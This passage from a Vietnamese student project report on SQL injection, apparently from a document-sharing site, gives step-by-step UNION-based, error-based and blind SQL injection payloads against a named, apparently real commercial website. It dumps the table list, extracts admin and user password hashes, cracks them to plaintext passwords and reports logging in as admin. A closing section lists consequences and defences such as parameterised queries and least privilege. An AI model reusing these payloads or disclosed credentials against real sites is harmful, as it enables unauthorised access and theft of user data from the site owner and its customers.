1. Trang chủ >
  2. Công Nghệ Thông Tin >
  3. An ninh - Bảo mật >

III. Xác định thông tin, khai thác thông tin

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.55 MB, 30 trang )


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

Ở trên thanh hackbar của Firefox, ta vào SQL > Union Select

statement và nhập vào số cột của bảng là 20 cột > OK. Hackbar sẽ

tự động điền câu lệnh union cho ta trên thanh địa chỉ:



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 18



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05



Chạy Excute. Để tìm được cột lỗi. Cột lỗi sẽ được hiện lên những

con số, trường hợp nếu không hiện lên số cột lỗi, ta sẽ sử dụng một

trong các cách sau:

+

+

+

+

+

+



Viewsource

Xem file ảnh bị lỗi để thấy số

Thay số bằng null (vd id=-328 thì thay id=null UNION….)

Thay các column(field) bằng null (vd :UNION SELECT

null,null,….)

Bypass filter (mod_security).

TH hiện ra thông báo thế này: The used SELECT statements

have a different number of columns

Union

select

như

sau:

id=1+and+1=0+UNION

SELECT+1,2…

Hoặc dùng error base:



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 19



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

And (Select 1 From(Select Count( * ),Concat(CHAR (124),

(Select

concat_ws(0x7c,version(),database(),user())),floor

(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables

Group

By

x)a)–



and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))–

or

1

group

by

concat_ws(0x7c,version(),database(),current_user,f

loor(rand(0)*2)) having min(0) or 1–

Hoặc dùng blind: and substring(version(),1,1)=5

Tuỳ thời cơ mà biến hoá chúng.

Ta tìm được cột lỗi là 3 và 7. Ta sẽ chọn một trong hai cột bị lỗi này

để từ đó tìm ra lỗ hổng của database. Ở đây ta sẽ khai thác cột 3 để

tìm xem trong database này có những bảng nào.

Để biết được tên bảng, tên cột, ta sử dụng đối tượng

information_schema. Đối tượng này cung cấp các thông tin về

tables, columns, views và procedures… của cơ sở dữ liệu. Ở đây ta

muốn tìm thông tin về các bảng trong cơ sở dữ liệu nên ta sẽ truy

vấn từ information_schema.tables. Lệnh Group_concat để nối

nhiều giá trị với nhau.

Chèn

đoạn



này

vào

số

3:

unhex(hex(group_concat(table_name))) và câu lệnh sau số 20: from

information_schema.tables. Sau đó excute địa chỉ trên. Nó sẽ hiện

ra toàn bộ tên bảng có trong database:

http://www.hoanghaidoor.vn/?frame=product_detail&id=null

UNION SELECT 1,2,unhex(hex(group_concat(table_name))) ,

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

from

information_schema.tables



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 20



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05



CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_S

ET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGIN

ES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY

_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PRO

CESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTIN

ES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSI

ON_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CO

NSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGE

S,VIEWS,INNODB_BUFFER_PAGE,INNODB_TRX,INNODB_BU

FFER_POOL_STATS,INNODB_LOCK_WAITS,INNODB_CMPME

M,INNODB_CMP,INNODB_LOCKS,INNODB_CMPMEM_RESET

,INNODB_CMP_RESET,INNODB_BUFFER_PAGE_LRU,tbl_acce

ss,tbl_config,tbl_content,tbl_content_category,tbl_member,tbl_orde

r,tbl_order_detail,tbl_product,tbl_product_category,tbl_product_ho

me,tbl_product_pro,tbl_product_sell,tbl_product_special,tbl_user,t

bl_visitor

Chúng ta không quan tâm lắm nhưng table dạng như này:

CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_S

ET_ APPLICABILITY,USER_PRIVILEGES,VIEWS,… vì đó chỉ là

những table của hệ thống thôi, quan trọng là xác định được table

chứa admin trong mớ hỗn độn phía trên.

Ta có thể xem thông tin bất cứ bảng nào ta muốn, ở đây ta sẽ xem

thông tin từ bảng tbl_user để lấy thông tin user đăng nhập. Để lấy

thông tin các cột trong bảng ta thay các khoá table thành column và

table_schema thành table_name. Để truy cập cho đúng thì ta phải

SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 21



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

chuyển tên bảng cần lấy thông về cơ sở dữ liệu dạng SQL. Để làm

việc này ta bôi đen tên bảng (tbl_user), sau đó vào SQL > MySQL

> MySQL CHAR().

http://www.hoanghaidoor.vn/?frame=product_detail&id=null

UNION SELECT 1,2,unhex(hex(group_concat(column_name))) ,

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

from

information_schema.columns where table_name=tbl_user



Excute truy vấn trên, ta được thông tin các cột trong bảng tbl_user.

Bao gồm: id,uid,pwd

Sau công việc này ta đã xác định được 2 cloumn quan trọng nhất là

uid và pwd. Ta tiến hành lấy thông tin. Bằng cách:

SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 22



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

Chèn đoạn mã sau vào số 3: group_concat(uid,0x3a,pwd) và sau số

20 sẽ là: from tbl_user – (đây chính là table chứa id và pwd mà ta

đang

khai

thác).

Lưu ý: 0x3a chính là ký tự “:” ngăn cách id và pwd, hoặc 0x2f hay

0x7c là “/”.

http://www.hoanghaidoor.vn/?frame=product_detail&id=null

UNION

SELECT

1,2,group_concat(uid,0x3a,pwd)

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from tbl_user



,



Sau đó ấn Execute, ta nhận được uid cũng như pwd dưới dạng mã

hóa md5:

admin:827ccb0eea8a706c4c34a16891f84e7b

phamvan:48472492c504e777a664efeff27d9fee

Để

giải



password,

truy

cập

links:

http://md5decrypt.net/en/#answer

nhập

827ccb0eea8a706c4c34a16891f84e7b sau đó ấn giải mã (Dercypt).



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 23



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05



Như vậy tài khoản admin có password là 12345. Ta sử dụng thông

tin trên để đăng nhập vào hệ thống, kết quả là đăng nhập thành

công. Tương tự, giải mã password của tài khoản phamvan ta được:

52041688.



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 24



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 25



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05



Như vậy ta sử dụng câu lệnh Select để khai thác lỗi SQL Injection,

xem thông tin cơ sở dữ liệu của ứng dụng web và từ đó đã lấy được

thông tin đăng nhập của tài khoản admin.



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 26



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05



CHƯƠNG IV: HẬU QUẢ CỦA SQL INJECTION VÀ

CÁCH PHÒNG CHỐNG SQL

I.



Hậu quả



Hậu quả lớn nhất mà SQL Injection gây ra là: Làm lộ dữ liệu trong database.

Tuỳ vào tầm quan trọng của dữ liệu mà hậu quả dao động ở mức nhẹ cho đến

vô cùng nghiêm trọng.

Nếu lộ dữ liệu credit card, hacker có thể dùng credit card để “mua sắm hộ”

hoặc chôm tiền của người dùng. Hàng triệu Credit Card chùa tồn tại trên

mạng, do hacker chôm từ các trang bán hàng thông qua SQL Injection.

Lộ dữ liệu khách hàng có thể ảnh hưởng rất nghiêm trọng đến công ty. Hình

ảnh công ty có thể bị ảnh hưởng, khách hàng chuyển qua sử dụng dịch vụ

khác, dẫn đến phá sản v…v

Lỗ hỗng này cũng ảnh hưởng lớn đến khách hàng. Do họ thường dùng chung

một mật khẩu cho nhiều tài khoản, chỉ cần lộ mật khẩu một tài khoản thì các

tài khoản khác cũng lộ theo.

Trong nhiều trường hợp, hacker không chỉ đọc được dữ liệu mà còn có

thể chỉnh sửa dữ liệu. Lúc này hacker có thể đăng nhập dưới vai trò admin,

lợi dụng hệ thống, hoặc xoá toàn bộ dữ liệu để hệ thống ngừng hoạt động.

II.



Cách phòng chống



Hầu hết các mã nguồn mở bây giờ đều không quá lo về lỗi này, tuy nhiên

plugin hay module được viết bởi nhiều lập trình viên khác nhau lại hay để ra

sơ hở tạo điều kiện cho lỗi phát sinh. Cách phòng tránh thì có nhiều cách,

trong đó:

Mặc dù SQL rất nguy hại nhưng cũng dễ phòng chống. Gần đây, hầu như

chúng ta ít viết SQL thuần mà toàn sử dụng ORM (Object-Relational

Mapping) framework. Các framework web này sẽ tự tạo câu lệnh SQL nên

hacker cũng khó tấn công hơn. Tuy nhiên, có rất nhiều site vẫn sử dụng SQL

thuần để truy cập dữ liệu. Đây chính là mồi ngon cho hacker. Để bảo vệ bản

thân trước SQL Injection, ta có thể thực hiện các biện pháp sau.





Lọc dữ liệu từ người dùng: Cách phòng chống này tương tự như XSS. Ta

sử dụng filter để lọc các kí tự đặc biệt (; ” ‘) hoặc các từ khoá (SELECT,



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 27



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

UNION) do người dùng nhập vào. Nên sử dụng thư viện/function được

cung cấp bởi framework. Viết lại từ đầu vừa tốn thời gian vừa dễ sơ sót.





Không cộng chuỗi để tạo SQL: Sử dụng parameter thay vì cộng chuỗi.

Nếu dữ liệu truyền vào không hợp pháp, SQL Engine sẽ tự động báo lỗi, ta

không cần dùng code để check.







Không hiển thị exception, message lỗi: Hacker dựa vào message lỗi để

tìm ra cấu trúc database. Khi có lỗi, ta chỉ hiện thông báo lỗi chứ

đừng hiển thị đầy đủ thông tin về lỗi, tránh hacker lợi dụng.







Phân quyền rõ ràng trong DB: Nếu chỉ truy cập dữ liệu từ một số bảng,

hãy tạo một account trong DB, gán quyền truy cập cho account đó

chứ không nên dùng account root hay sa. Lúc này, dù hacker có inject

được sql cũng không thể đọc dữ liệu từ các bảng chính, sửa hay xoá dữ

liệu.







Backup dữ liệu thường xuyên: Dữ liệu phải thường xuyên được backup

để nếu có bị hacker xoá thì ta vẫn có thể khôi phục được.







Viết lại đường dẫn của website có thể phòng được lỗi SQL Injection, vì

hacker thường phải tìm một sơ hở của website trên đường link hoặc trên

form nhập liệu của người dùng, khi không nhìn thấy biến query thì hacker

phải tìm cách khác để thử lỗi.







Lọc kĩ những gì người dùng nhập

Với số người dùng nhập vào, để ăn chắc các bạn lọc qua các hàm như:

$num = ( int ) $_POST['num'];

$num = is_numeric ( $num ) ? $num : 0;

Ví dụ sử dụng sprinf:

$data = sprintf('select * from %s where data = %d limit 1', $table,

$must_be_number );

Sử dụng kết hợp với mysql_real_escape_string() để câu SQL được an

toàn:

$data = sprintf('select * from %s where data = %d limit 1', $table,

mysql_real_escape_string($must_be_number ) );



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 28



Xem Thêm
Tải bản đầy đủ (.docx) (30 trang)

×